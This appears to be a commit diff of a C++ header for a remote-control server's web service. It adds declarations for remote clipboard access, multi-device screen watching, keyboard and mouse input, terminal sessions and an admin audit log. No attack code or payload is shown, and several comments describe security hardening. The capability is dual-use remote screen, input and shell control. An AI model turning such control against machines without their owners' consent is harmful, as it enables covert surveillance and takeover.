// Login attempt tracking for rate limiting
|
||||||
@@ -160,6 +170,9 @@ public:
|
|||||||
// Cursor change notification (called from ScreenSpyDlg)
|
// Cursor change notification (called from ScreenSpyDlg)
|
||||||
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
||||||
|
|
||||||
|
// 远程剪贴板文本回传通知(called from ScreenSpyDlg,payload 为 UTF-8)
|
||||||
|
void NotifyClipboardText(uint64_t device_id, const std::string& text);
|
||||||
|
|
||||||
// Get count of web clients watching a device
|
// Get count of web clients watching a device
|
||||||
int GetWebClientCount(uint64_t device_id);
|
int GetWebClientCount(uint64_t device_id);
|
||||||
|
|
||||||
@@ -182,13 +195,24 @@ private:
|
|||||||
void HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip);
|
void HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip);
|
||||||
void HandleGetSalt(void* ws_ptr, const std::string& msg);
|
void HandleGetSalt(void* ws_ptr, const std::string& msg);
|
||||||
void HandleGetDevices(void* ws_ptr, const std::string& token);
|
void HandleGetDevices(void* ws_ptr, const std::string& token);
|
||||||
void HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id);
|
void HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id,
|
||||||
void HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id = 0);
|
const std::string& req = "", bool multi_watch = false);
|
||||||
|
void HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id = 0,
|
||||||
|
const std::string& req = "", bool multi_watch = false);
|
||||||
|
void HandleKeyframe(void* ws_ptr, const std::string& token, uint64_t device_id,
|
||||||
|
const std::string& req);
|
||||||
void HandlePing(void* ws_ptr, const std::string& token);
|
void HandlePing(void* ws_ptr, const std::string& token);
|
||||||
void HandleMouse(void* ws_ptr, const std::string& msg);
|
void HandleMouse(void* ws_ptr, const std::string& msg);
|
||||||
void HandleKey(void* ws_ptr, const std::string& msg);
|
void HandleKey(void* ws_ptr, const std::string& msg);
|
||||||
void HandleRdpReset(void* ws_ptr, const std::string& token);
|
void HandleClipboardSet(void* ws_ptr, const std::string& msg);
|
||||||
void HandleAudioToggle(void* ws_ptr, const std::string& token);
|
void HandleClipboardGet(void* ws_ptr, const std::string& token, uint64_t device_id = 0);
|
||||||
|
void HandleRdpReset(void* ws_ptr, const std::string& token, uint64_t device_id = 0);
|
||||||
|
void HandleAudioToggle(void* ws_ptr, const std::string& token, uint64_t device_id = 0);
|
||||||
|
|
||||||
|
// 输入类命令的设备解析:优先用显式 id(必须在 watch 集合内);否则当集合恰好
|
||||||
|
// 只有一台设备时回退到它(兼容不带 id 的旧前端)。多设备且无 id 时返回 0(丢弃),
|
||||||
|
// 绝不能回退到任意集合成员,否则会变成跨设备输入注入。
|
||||||
|
uint64_t ResolveWatchDevice(void* ws_ptr, uint64_t requested_device_id);
|
||||||
|
|
||||||
// Token management
|
// Token management
|
||||||
std::string GenerateToken(const std::string& username, const std::string& role);
|
std::string GenerateToken(const std::string& username, const std::string& role);
|
||||||
@@ -221,6 +245,15 @@ private:
|
|||||||
void HandleListUsers(void* ws_ptr, const std::string& token);
|
void HandleListUsers(void* ws_ptr, const std::string& token);
|
||||||
void HandleGetGroups(void* ws_ptr, const std::string& token);
|
void HandleGetGroups(void* ws_ptr, const std::string& token);
|
||||||
|
|
||||||
|
// Security audit trail: in-memory ring of the last 1000 events since
|
||||||
|
// startup (see WebService.cpp). query_audit is admin-only.
|
||||||
|
void HandleQueryAudit(void* ws_ptr, const std::string& msg);
|
||||||
|
std::string ClientIP(void* ws_ptr);
|
||||||
|
void AuditWeb(const std::string& event, bool warn,
|
||||||
|
const std::string& actor, const std::string& role,
|
||||||
|
const std::string& ip, void* ws_ptr, uint64_t device_id,
|
||||||
|
std::initializer_list<std::pair<const char*, std::string>> extra = {});
|
||||||
|
|
||||||
// Send to WebSocket
|
// Send to WebSocket
|
||||||
void SendText(void* ws_ptr, const std::string& text);
|
void SendText(void* ws_ptr, const std::string& text);
|
||||||
void SendBinary(void* ws_ptr, const uint8_t* data, size_t len);
|
void SendBinary(void* ws_ptr, const uint8_t* data, size_t len);
|
||||||
@@ -241,6 +274,10 @@ private:
|
|||||||
static const int HEARTBEAT_INTERVAL_SEC = 30; // Send ping every 30 seconds
|
static const int HEARTBEAT_INTERVAL_SEC = 30; // Send ping every 30 seconds
|
||||||
static const int HEARTBEAT_TIMEOUT_SEC = 90; // Disconnect if no activity for 90 seconds
|
static const int HEARTBEAT_TIMEOUT_SEC = 90; // Disconnect if no activity for 90 seconds
|
||||||
|
|
||||||
|
// 每个 ws 最多订阅的设备数(屏幕墙最多 25 个 tile,留余量)。防止异常客户端
|
||||||
|
// 订阅数百台设备拖慢每一帧的广播循环。
|
||||||
|
static constexpr size_t kMaxWatchPerClient = 32;
|
||||||
|
|
||||||
// Heartbeat thread function
|
// Heartbeat thread function
|
||||||
void HeartbeatThread();
|
void HeartbeatThread();
|
||||||
|
|
||||||
@@ -366,8 +403,12 @@ private:
|
|||||||
std::set<uint64_t> m_TermPending; // 已发 COMMAND_SHELL 待响应
|
std::set<uint64_t> m_TermPending; // 已发 COMMAND_SHELL 待响应
|
||||||
std::mutex m_TermMutex;
|
std::mutex m_TermMutex;
|
||||||
|
|
||||||
// 内部清理(已持锁版本)
|
// 内部清理(已持锁版本)。reason/actor/role/ip 仅用于审计日志;actor 为空时
|
||||||
void CloseTermSessionLocked(uint64_t device_id);
|
// 尝试从 m_Clients 反查(ws 已注销时需由调用方传入)。
|
||||||
|
void CloseTermSessionLocked(uint64_t device_id, const char* reason = "ws_close",
|
||||||
|
const std::string& actor = std::string(),
|
||||||
|
const std::string& role = std::string(),
|
||||||
|
const std::string& ip = std::string());
|
||||||
};
|
};
|
||||||
|
|
||||||
// Global accessor
|
// Global accessor
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ enum {
|
|||||||
ONLINELIST_STARTTIME,
|
ONLINELIST_STARTTIME,
|
||||||
ONLINELIST_CAPABILITIES, // 客户端能力位
|
ONLINELIST_CAPABILITIES, // 客户端能力位
|
||||||
ONLINELIST_PRIVILEGE, // 权限级别 (SYSTEM/Admin/User)
|
ONLINELIST_PRIVILEGE, // 权限级别 (SYSTEM/Admin/User)
|
||||||
|
ONLINELIST_TLS, // TLS 传输启用标志 (0/1)
|
||||||
ONLINELIST_MAX,
|
ONLINELIST_MAX,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
Loaded 100 of 151 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user